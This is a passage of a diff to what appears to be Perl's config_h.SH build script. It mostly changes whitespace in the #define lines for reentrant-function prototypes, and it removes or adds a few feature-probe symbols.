+ * could be included by the C program to get the assert() macro. + */ +#$i_assert I_ASSERT /**/ /* I_BFD: * This symbol, if defined, indicates that exists and @@ -3641,10 +3807,10 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * For DB version 1 this is always 0. */ #define DB_Hash_t $db_hashtype /**/ -#define DB_Prefix_t $db_prefixtype /**/ -#define DB_VERSION_MAJOR_CFG $db_version_major /**/ -#define DB_VERSION_MINOR_CFG $db_version_minor /**/ -#define DB_VERSION_PATCH_CFG $db_version_patch /**/ +#define DB_Prefix_t $db_prefixtype /**/ +#define DB_VERSION_MAJOR_CFG $db_version_major /**/ +#define DB_VERSION_MINOR_CFG $db_version_minor /**/ +#define DB_VERSION_PATCH_CFG $db_version_patch /**/ /* I_FENV: * This symbol, if defined, indicates to the C program that it should @@ -3671,8 +3837,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un #$i_ieeefp I_IEEEFP /**/ /* I_INTTYPES: - * This symbol, if defined, indicates to the C program that it should - * include . + * This symbol, if defined, indicates to the C program that it should + * include . */ #$i_inttypes I_INTTYPES /**/ @@ -3701,8 +3867,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un #$i_mntent I_MNTENT /**/ /* I_NETINET_TCP: - * This symbol, if defined, indicates to the C program that it should - * include . + * This symbol, if defined, indicates to the C program that it should + * include . */ #$i_netinettcp I_NETINET_TCP /**/ @@ -3801,12 +3967,6 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #$i_ustat I_USTAT /**/ -/* I_WCHAR: - * This symbol, if defined, indicates to the C program that - * is available for inclusion - */ -#$i_wchar I_WCHAR /**/ - /* DOUBLEINFBYTES: * This symbol, if defined, is a comma-separated list of * hexadecimal bytes for the double precision infinity. @@ -4075,7 +4235,7 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un #define NVSIZE $nvsize /**/ #$d_nv_preserves_uv NV_PRESERVES_UV #define NV_PRESERVES_UV_BITS $nv_preserves_uv_bits -#define NV_OVERFLOWS_INTEGERS_AT ($nv_overflows_integers_at) +#define NV_OVERFLOWS_INTEGERS_AT $nv_overflows_integers_at #$d_nv_zero_is_allbits_zero NV_ZERO_IS_ALLBITS_ZERO #if UVSIZE == 8 # ifdef BYTEORDER @@ -4139,7 +4299,7 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * is either n or 32*ceil(n/32), especially many little-endians do * the latter. This is only useful if you have select(), naturally. */ -#define SELECT_MIN_BITS $selectminbits /**/ +#define SELECT_MIN_BITS $selectminbits /**/ /* ST_INO_SIZE: * This variable contains the size of struct stat's st_ino in bytes. @@ -4241,7 +4401,7 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un /* USE_KERN_PROC_PATHNAME: * This symbol, if defined, indicates that we can use sysctl with * KERN_PROC_PATHNAME to get a full path for the executable, and hence - * convert $^X to an absolute path. + * convert $^X to an absolute path. */ #$usekernprocpathname USE_KERN_PROC_PATHNAME /**/ @@ -4384,7 +4544,7 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * is defined, and 'int *' otherwise. This is only useful if you * have select(), of course. */ -#define Select_fd_set_t $selecttype /**/ +#define Select_fd_set_t $selecttype /**/ /* Sock_size_t: * This symbol holds the type used for the size argument of @@ -4410,8 +4570,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_asctime_r * is defined. */ -#$d_asctime_r HAS_ASCTIME_R /**/ -#define ASCTIME_R_PROTO $asctime_r_proto /**/ +#$d_asctime_r HAS_ASCTIME_R /**/ +#define ASCTIME_R_PROTO $asctime_r_proto /**/ /* HAS_CRYPT_R: * This symbol, if defined, indicates that the crypt_r routine @@ -4423,8 +4583,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_crypt_r * is defined. */ -#$d_crypt_r HAS_CRYPT_R /**/ -#define CRYPT_R_PROTO $crypt_r_proto /**/ +#$d_crypt_r HAS_CRYPT_R /**/ +#define CRYPT_R_PROTO $crypt_r_proto /**/ /* HAS_CTERMID_R: * This symbol, if defined, indicates that the ctermid_r routine @@ -4436,8 +4596,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctermid_r * is defined. */ -#$d_ctermid_r HAS_CTERMID_R /**/ -#define CTERMID_R_PROTO $ctermid_r_proto /**/ +#$d_ctermid_r HAS_CTERMID_R /**/ +#define CTERMID_R_PROTO $ctermid_r_proto /**/ /* HAS_CTIME_R: * This symbol, if defined, indicates that the ctime_r routine @@ -4449,8 +4609,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctime_r * is defined. */ -#$d_ctime_r HAS_CTIME_R /**/ -#define CTIME_R_PROTO $ctime_r_proto /**/ +#$d_ctime_r HAS_CTIME_R /**/ +#define CTIME_R_PROTO $ctime_r_proto /**/ /* HAS_DRAND48_R: * This symbol, if defined, indicates that the drand48_r routine @@ -4462,8 +4622,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_drand48_r * is defined. */ -#$d_drand48_r HAS_DRAND48_R /**/ -#define DRAND48_R_PROTO $drand48_r_proto /**/ +#$d_drand48_r HAS_DRAND48_R /**/ +#define DRAND48_R_PROTO $drand48_r_proto /**/ /* HAS_ENDGRENT_R: * This symbol, if defined, indicates that the endgrent_r routine @@ -4475,8 +4635,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endgrent_r * is defined. */ -#$d_endgrent_r HAS_ENDGRENT_R /**/ -#define ENDGRENT_R_PROTO $endgrent_r_proto /**/ +#$d_endgrent_r HAS_ENDGRENT_R /**/ +#define ENDGRENT_R_PROTO $endgrent_r_proto /**/ /* HAS_ENDHOSTENT_R: * This symbol, if defined, indicates that the endhostent_r routine @@ -4488,8 +4648,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endhostent_r * is defined. */ -#$d_endhostent_r HAS_ENDHOSTENT_R /**/ -#define ENDHOSTENT_R_PROTO $endhostent_r_proto /**/ +#$d_endhostent_r HAS_ENDHOSTENT_R /**/ +#define ENDHOSTENT_R_PROTO $endhostent_r_proto /**/ /* HAS_ENDNETENT_R: * This symbol, if defined, indicates that the endnetent_r routine @@ -4501,8 +4661,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endnetent_r * is defined. */ -#$d_endnetent_r HAS_ENDNETENT_R /**/ -#define ENDNETENT_R_PROTO $endnetent_r_proto /**/ +#$d_endnetent_r HAS_ENDNETENT_R /**/ +#define ENDNETENT_R_PROTO $endnetent_r_proto /**/ /* HAS_ENDPROTOENT_R: * This symbol, if defined, indicates that the endprotoent_r routine @@ -4514,8 +4674,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endprotoent_r * is defined. */ -#$d_endprotoent_r HAS_ENDPROTOENT_R /**/ -#define ENDPROTOENT_R_PROTO $endprotoent_r_proto /**/ +#$d_endprotoent_r HAS_ENDPROTOENT_R /**/ +#define ENDPROTOENT_R_PROTO $endprotoent_r_proto /**/ /* HAS_ENDPWENT_R: * This symbol, if defined, indicates that the endpwent_r routine @@ -4527,8 +4687,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endpwent_r * is defined. */ -#$d_endpwent_r HAS_ENDPWENT_R /**/ -#define ENDPWENT_R_PROTO $endpwent_r_proto /**/ +#$d_endpwent_r HAS_ENDPWENT_R /**/ +#define ENDPWENT_R_PROTO $endpwent_r_proto /**/ /* HAS_ENDSERVENT_R: * This symbol, if defined, indicates that the endservent_r routine @@ -4540,8 +4700,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endservent_r * is defined. */ -#$d_endservent_r HAS_ENDSERVENT_R /**/ -#define ENDSERVENT_R_PROTO $endservent_r_proto /**/ +#$d_endservent_r HAS_ENDSERVENT_R /**/ +#define ENDSERVENT_R_PROTO $endservent_r_proto /**/ /* HAS_GETGRENT_R: * This symbol, if defined, indicates that the getgrent_r routine @@ -4553,8 +4713,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrent_r * is defined. */ -#$d_getgrent_r HAS_GETGRENT_R /**/ -#define GETGRENT_R_PROTO $getgrent_r_proto /**/ +#$d_getgrent_r HAS_GETGRENT_R /**/ +#define GETGRENT_R_PROTO $getgrent_r_proto /**/ /* HAS_GETGRGID_R: * This symbol, if defined, indicates that the getgrgid_r routine @@ -4566,8 +4726,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrgid_r * is defined. */ -#$d_getgrgid_r HAS_GETGRGID_R /**/ -#define GETGRGID_R_PROTO $getgrgid_r_proto /**/ +#$d_getgrgid_r HAS_GETGRGID_R /**/ +#define GETGRGID_R_PROTO $getgrgid_r_proto /**/ /* HAS_GETGRNAM_R: * This symbol, if defined, indicates that the getgrnam_r routine @@ -4579,8 +4739,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrnam_r * is defined. */ -#$d_getgrnam_r HAS_GETGRNAM_R /**/ -#define GETGRNAM_R_PROTO $getgrnam_r_proto /**/ +#$d_getgrnam_r HAS_GETGRNAM_R /**/ +#define GETGRNAM_R_PROTO $getgrnam_r_proto /**/ /* HAS_GETHOSTBYADDR_R: * This symbol, if defined, indicates that the gethostbyaddr_r routine @@ -4592,8 +4752,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyaddr_r * is defined. */ -#$d_gethostbyaddr_r HAS_GETHOSTBYADDR_R /**/ -#define GETHOSTBYADDR_R_PROTO $gethostbyaddr_r_proto /**/ +#$d_gethostbyaddr_r HAS_GETHOSTBYADDR_R /**/ +#define GETHOSTBYADDR_R_PROTO $gethostbyaddr_r_proto /**/ /* HAS_GETHOSTBYNAME_R: * This symbol, if defined, indicates that the gethostbyname_r routine @@ -4605,8 +4765,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyname_r * is defined. */ -#$d_gethostbyname_r HAS_GETHOSTBYNAME_R /**/ -#define GETHOSTBYNAME_R_PROTO $gethostbyname_r_proto /**/ +#$d_gethostbyname_r HAS_GETHOSTBYNAME_R /**/ +#define GETHOSTBYNAME_R_PROTO $gethostbyname_r_proto /**/ /* HAS_GETHOSTENT_R: * This symbol, if defined, indicates that the gethostent_r routine @@ -4618,8 +4778,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostent_r * is defined. */ -#$d_gethostent_r HAS_GETHOSTENT_R /**/ -#define GETHOSTENT_R_PROTO $gethostent_r_proto /**/ +#$d_gethostent_r HAS_GETHOSTENT_R /**/ +#define GETHOSTENT_R_PROTO $gethostent_r_proto /**/ /* HAS_GETLOGIN_R: * This symbol, if defined, indicates that the getlogin_r routine @@ -4631,8 +4791,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getlogin_r * is defined. */ -#$d_getlogin_r HAS_GETLOGIN_R /**/ -#define GETLOGIN_R_PROTO $getlogin_r_proto /**/ +#$d_getlogin_r HAS_GETLOGIN_R /**/ +#define GETLOGIN_R_PROTO $getlogin_r_proto /**/ /* HAS_GETNETBYADDR_R: * This symbol, if defined, indicates that the getnetbyaddr_r routine @@ -4644,8 +4804,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyaddr_r * is defined. */ -#$d_getnetbyaddr_r HAS_GETNETBYADDR_R /**/ -#define GETNETBYADDR_R_PROTO $getnetbyaddr_r_proto /**/ +#$d_getnetbyaddr_r HAS_GETNETBYADDR_R /**/ +#define GETNETBYADDR_R_PROTO $getnetbyaddr_r_proto /**/ /* HAS_GETNETBYNAME_R: * This symbol, if defined, indicates that the getnetbyname_r routine @@ -4657,8 +4817,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyname_r * is defined. */ -#$d_getnetbyname_r HAS_GETNETBYNAME_R /**/ -#define GETNETBYNAME_R_PROTO $getnetbyname_r_proto /**/ +#$d_getnetbyname_r HAS_GETNETBYNAME_R /**/ +#define GETNETBYNAME_R_PROTO $getnetbyname_r_proto /**/ /* HAS_GETNETENT_R: * This symbol, if defined, indicates that the getnetent_r routine @@ -4670,8 +4830,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetent_r * is defined. */ -#$d_getnetent_r HAS_GETNETENT_R /**/ -#define GETNETENT_R_PROTO $getnetent_r_proto /**/ +#$d_getnetent_r HAS_GETNETENT_R /**/ +#define GETNETENT_R_PROTO $getnetent_r_proto /**/ /* HAS_GETPROTOBYNAME_R: * This symbol, if defined, indicates that the getprotobyname_r routine @@ -4683,8 +4843,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobyname_r * is defined. */ -#$d_getprotobyname_r HAS_GETPROTOBYNAME_R /**/ -#define GETPROTOBYNAME_R_PROTO $getprotobyname_r_proto /**/ +#$d_getprotobyname_r HAS_GETPROTOBYNAME_R /**/ +#define GETPROTOBYNAME_R_PROTO $getprotobyname_r_proto /**/ /* HAS_GETPROTOBYNUMBER_R: * This symbol, if defined, indicates that the getprotobynumber_r routine @@ -4696,8 +4856,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobynumber_r * is defined. */ -#$d_getprotobynumber_r HAS_GETPROTOBYNUMBER_R /**/ -#define GETPROTOBYNUMBER_R_PROTO $getprotobynumber_r_proto /**/ +#$d_getprotobynumber_r HAS_GETPROTOBYNUMBER_R /**/ +#define GETPROTOBYNUMBER_R_PROTO $getprotobynumber_r_proto /**/ /* HAS_GETPROTOENT_R: * This symbol, if defined, indicates that the getprotoent_r routine @@ -4709,8 +4869,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotoent_r * is defined. */ -#$d_getprotoent_r HAS_GETPROTOENT_R /**/ -#define GETPROTOENT_R_PROTO $getprotoent_r_proto /**/ +#$d_getprotoent_r HAS_GETPROTOENT_R /**/ +#define GETPROTOENT_R_PROTO $getprotoent_r_proto /**/ /* HAS_GETPWENT_R: * This symbol, if defined, indicates that the getpwent_r routine @@ -4722,8 +4882,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwent_r * is defined. */ -#$d_getpwent_r HAS_GETPWENT_R /**/ -#define GETPWENT_R_PROTO $getpwent_r_proto /**/ +#$d_getpwent_r HAS_GETPWENT_R /**/ +#define GETPWENT_R_PROTO $getpwent_r_proto /**/ /* HAS_GETPWNAM_R: * This symbol, if defined, indicates that the getpwnam_r routine @@ -4735,8 +4895,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwnam_r * is defined. */ -#$d_getpwnam_r HAS_GETPWNAM_R /**/ -#define GETPWNAM_R_PROTO $getpwnam_r_proto /**/ +#$d_getpwnam_r HAS_GETPWNAM_R /**/ +#define GETPWNAM_R_PROTO $getpwnam_r_proto /**/ /* HAS_GETPWUID_R: * This symbol, if defined, indicates that the getpwuid_r routine @@ -4748,8 +4908,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwuid_r * is defined. */ -#$d_getpwuid_r HAS_GETPWUID_R /**/ -#define GETPWUID_R_PROTO $getpwuid_r_proto /**/ +#$d_getpwuid_r HAS_GETPWUID_R /**/ +#define GETPWUID_R_PROTO $getpwuid_r_proto /**/ /* HAS_GETSERVBYNAME_R: * This symbol, if defined, indicates that the getservbyname_r routine @@ -4761,8 +4921,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyname_r * is defined. */ -#$d_getservbyname_r HAS_GETSERVBYNAME_R /**/ -#define GETSERVBYNAME_R_PROTO $getservbyname_r_proto /**/ +#$d_getservbyname_r HAS_GETSERVBYNAME_R /**/ +#define GETSERVBYNAME_R_PROTO $getservbyname_r_proto /**/ /* HAS_GETSERVBYPORT_R: * This symbol, if defined, indicates that the getservbyport_r routine @@ -4774,8 +4934,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyport_r * is defined. */ -#$d_getservbyport_r HAS_GETSERVBYPORT_R /**/ -#define GETSERVBYPORT_R_PROTO $getservbyport_r_proto /**/ +#$d_getservbyport_r HAS_GETSERVBYPORT_R /**/ +#define GETSERVBYPORT_R_PROTO $getservbyport_r_proto /**/ /* HAS_GETSERVENT_R: * This symbol, if defined, indicates that the getservent_r routine @@ -4787,8 +4947,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservent_r * is defined. */ -#$d_getservent_r HAS_GETSERVENT_R /**/ -#define GETSERVENT_R_PROTO $getservent_r_proto /**/ +#$d_getservent_r HAS_GETSERVENT_R /**/ +#define GETSERVENT_R_PROTO $getservent_r_proto /**/ /* HAS_GETSPNAM_R: * This symbol, if defined, indicates that the getspnam_r routine @@ -4800,8 +4960,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getspnam_r * is defined. */ -#$d_getspnam_r HAS_GETSPNAM_R /**/ -#define GETSPNAM_R_PROTO $getspnam_r_proto /**/ +#$d_getspnam_r HAS_GETSPNAM_R /**/ +#define GETSPNAM_R_PROTO $getspnam_r_proto /**/ /* HAS_GMTIME_R: * This symbol, if defined, indicates that the gmtime_r routine @@ -4813,14 +4973,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_gmtime_r * is defined. */ -#$d_gmtime_r HAS_GMTIME_R /**/ -#define GMTIME_R_PROTO $gmtime_r_proto /**/ - -/* HAS_LOCALECONV_L: - * This symbol, if defined, indicates that the localeconv_l routine is - * available to query certain information about a locale. - */ -#$d_localeconv_l HAS_LOCALECONV_L /**/ +#$d_gmtime_r HAS_GMTIME_R /**/ +#define GMTIME_R_PROTO $gmtime_r_proto /**/ /* HAS_LOCALTIME_R: * This symbol, if defined, indicates that the localtime_r routine @@ -4845,26 +4999,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_localtime_r * is defined. */ -#$d_localtime_r HAS_LOCALTIME_R /**/ -#define LOCALTIME_R_PROTO $localtime_r_proto /**/ - -/* HAS_MBRLEN: - * This symbol, if defined, indicates that the mbrlen routine is - * available to get the length of multi-byte character strings. - */ -#$d_mbrlen HAS_MBRLEN /**/ - -/* HAS_MBRTOWC: - * This symbol, if defined, indicates that the mbrtowc routine is - * available to convert a multi-byte character into a wide character. - */ -#$d_mbrtowc HAS_MBRTOWC /**/ - -/* HAS_THREAD_SAFE_NL_LANGINFO_L: - * This symbol, when defined, indicates presence of the nl_langinfo_l() - * function, and that it is thread-safe. - */ -#$d_thread_safe_nl_langinfo_l HAS_THREAD_SAFE_NL_LANGINFO_L /**/ +#$d_localtime_r HAS_LOCALTIME_R /**/ +#define LOCALTIME_R_PROTO $localtime_r_proto /**/ /* OLD_PTHREAD_CREATE_JOINABLE: * This symbol, if defined, indicates how to create pthread @@ -4911,8 +5047,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_random_r * is defined. */ -#$d_random_r HAS_RANDOM_R /**/ -#define RANDOM_R_PROTO $random_r_proto /**/ +#$d_random_r HAS_RANDOM_R /**/ +#define RANDOM_R_PROTO $random_r_proto /**/ /* HAS_READDIR64_R: * This symbol, if defined, indicates that the readdir64_r routine @@ -4924,8 +5060,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir64_r * is defined. */ -#$d_readdir64_r HAS_READDIR64_R /**/ -#define READDIR64_R_PROTO $readdir64_r_proto /**/ +#$d_readdir64_r HAS_READDIR64_R /**/ +#define READDIR64_R_PROTO $readdir64_r_proto /**/ /* HAS_READDIR_R: * This symbol, if defined, indicates that the readdir_r routine @@ -4937,8 +5073,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir_r * is defined. */ -#$d_readdir_r HAS_READDIR_R /**/ -#define READDIR_R_PROTO $readdir_r_proto /**/ +#$d_readdir_r HAS_READDIR_R /**/ +#define READDIR_R_PROTO $readdir_r_proto /**/ /* HAS_SETGRENT_R: * This symbol, if defined, indicates that the setgrent_r routine @@ -4950,8 +5086,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setgrent_r * is defined. */ -#$d_setgrent_r HAS_SETGRENT_R /**/ -#define SETGRENT_R_PROTO $setgrent_r_proto /**/ +#$d_setgrent_r HAS_SETGRENT_R /**/ +#define SETGRENT_R_PROTO $setgrent_r_proto /**/ /* HAS_SETHOSTENT_R: * This symbol, if defined, indicates that the sethostent_r routine @@ -4963,8 +5099,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_sethostent_r * is defined. */ -#$d_sethostent_r HAS_SETHOSTENT_R /**/ -#define SETHOSTENT_R_PROTO $sethostent_r_proto /**/ +#$d_sethostent_r HAS_SETHOSTENT_R /**/ +#define SETHOSTENT_R_PROTO $sethostent_r_proto /**/ /* HAS_SETLOCALE_R: * This symbol, if defined, indicates that the setlocale_r routine @@ -4976,8 +5112,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setlocale_r * is defined. */ -#$d_setlocale_r HAS_SETLOCALE_R /**/ -#define SETLOCALE_R_PROTO $setlocale_r_proto /**/ +#$d_setlocale_r HAS_SETLOCALE_R /**/ +#define SETLOCALE_R_PROTO $setlocale_r_proto /**/ /* HAS_SETNETENT_R: * This symbol, if defined, indicates that the setnetent_r routine @@ -4989,8 +5125,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setnetent_r * is defined. */ -#$d_setnetent_r HAS_SETNETENT_R /**/ -#define SETNETENT_R_PROTO $setnetent_r_proto /**/ +#$d_setnetent_r HAS_SETNETENT_R /**/ +#define SETNETENT_R_PROTO $setnetent_r_proto /**/ /* HAS_SETPROTOENT_R: * This symbol, if defined, indicates that the setprotoent_r routine @@ -5002,8 +5138,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setprotoent_r * is defined. */ -#$d_setprotoent_r HAS_SETPROTOENT_R /**/ -#define SETPROTOENT_R_PROTO $setprotoent_r_proto /**/ +#$d_setprotoent_r HAS_SETPROTOENT_R /**/ +#define SETPROTOENT_R_PROTO $setprotoent_r_proto /**/ /* HAS_SETPWENT_R: * This symbol, if defined, indicates that the setpwent_r routine @@ -5015,8 +5151,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setpwent_r * is defined. */ -#$d_setpwent_r HAS_SETPWENT_R /**/ -#define SETPWENT_R_PROTO $setpwent_r_proto /**/ +#$d_setpwent_r HAS_SETPWENT_R /**/ +#define SETPWENT_R_PROTO $setpwent_r_proto /**/ /* HAS_SETSERVENT_R: * This symbol, if defined, indicates that the setservent_r routine @@ -5028,8 +5164,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setservent_r * is defined. */ -#$d_setservent_r HAS_SETSERVENT_R /**/ -#define SETSERVENT_R_PROTO $setservent_r_proto /**/ +#$d_setservent_r HAS_SETSERVENT_R /**/ +#define SETSERVENT_R_PROTO $setservent_r_proto /**/ /* HAS_SRAND48_R: * This symbol, if defined, indicates that the srand48_r routine @@ -5041,8 +5177,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_srand48_r * is defined. */ -#$d_srand48_r HAS_SRAND48_R /**/ -#define SRAND48_R_PROTO $srand48_r_proto /**/ +#$d_srand48_r HAS_SRAND48_R /**/ +#define SRAND48_R_PROTO $srand48_r_proto /**/ /* HAS_SRANDOM_R: * This symbol, if defined, indicates that the srandom_r routine @@ -5054,8 +5190,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_srandom_r * is defined. */ -#$d_srandom_r HAS_SRANDOM_R /**/ -#define SRANDOM_R_PROTO $srandom_r_proto /**/ +#$d_srandom_r HAS_SRANDOM_R /**/ +#define SRANDOM_R_PROTO $srandom_r_proto /**/ /* HAS_STRERROR_R: * This symbol, if defined, indicates that the strerror_r routine @@ -5067,20 +5203,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_strerror_r * is defined. */ -#$d_strerror_r HAS_STRERROR_R /**/ -#define STRERROR_R_PROTO $strerror_r_proto /**/ - -/* HAS_STRTOD_L: - * This symbol, if defined, indicates that the strtod_l routine is - * available to convert strings to long doubles. - */ -#$d_strtod_l HAS_STRTOD_L /**/ - -/* HAS_STRTOLD_L: - * This symbol, if defined, indicates that the strtold_l routine is - * available to convert strings to long doubles. - */ -#$d_strtold_l HAS_STRTOLD_L /**/ +#$d_strerror_r HAS_STRERROR_R /**/ +#define STRERROR_R_PROTO $strerror_r_proto /**/ /* HAS_TMPNAM_R: * This symbol, if defined, indicates that the tmpnam_r routine @@ -5092,8 +5216,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_tmpnam_r * is defined. */ -#$d_tmpnam_r HAS_TMPNAM_R /**/ -#define TMPNAM_R_PROTO $tmpnam_r_proto /**/ +#$d_tmpnam_r HAS_TMPNAM_R /**/ +#define TMPNAM_R_PROTO $tmpnam_r_proto /**/ /* HAS_TTYNAME_R: 